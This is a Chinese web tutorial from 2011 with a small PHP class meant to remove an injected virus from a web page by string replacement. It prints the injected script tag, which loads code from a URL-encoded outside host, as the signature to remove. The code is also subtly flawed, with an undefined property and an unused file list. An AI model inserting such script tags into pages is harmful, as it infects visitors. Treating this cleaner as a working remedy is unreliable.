- 1. phpMyAdmin(支持對數據庫進行建立、復制,刪除數據等...
- 2. QuickPHP V1.12.1(php腳本調試工具) 綠色免費版
- 3. phpMyAdmin(支持對數據庫進行完全操控) V3.4.2.0 F...
- 4. phpMyAdmin(通過互聯網控制操作MYSQL的軟件) V3.4....
- 5. phpMyAdmin 3.4.0 RC2 多語綠色版_很方便的網絡遠M...
- 6. 基于PHP和MySql的個人文章發布/管理平臺Swan v1.0.0
- 7. 強大的PHP在線購物系統Avactis購物車系統 V2.1
- 8. 教你如何更好地與上司溝通這樣和上司說話 PDF電子書
- 9. 不懂會計/計算機也能輕松運用零天房屋出租管理系統...
- 10. 免費解密php程序的黑刀Dezender 5.0 簡體中文版
教你如何運用PHP清除網頁病毒
作者: 來源: 發布時間:2011-5-25 15:32:48 點擊:
本文章給大家分享的是關于利用PHP清除網頁病毒的方法,好像是進行一些替換操作,大家可以測試,希望對大家有所幫助。
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒
-
資料引用:http://www.knowsky.com/442657.html
上一篇:PHP中autoload的實現方式 下一篇: 運用PHP做一個全能搜索引擎
[收藏此文章]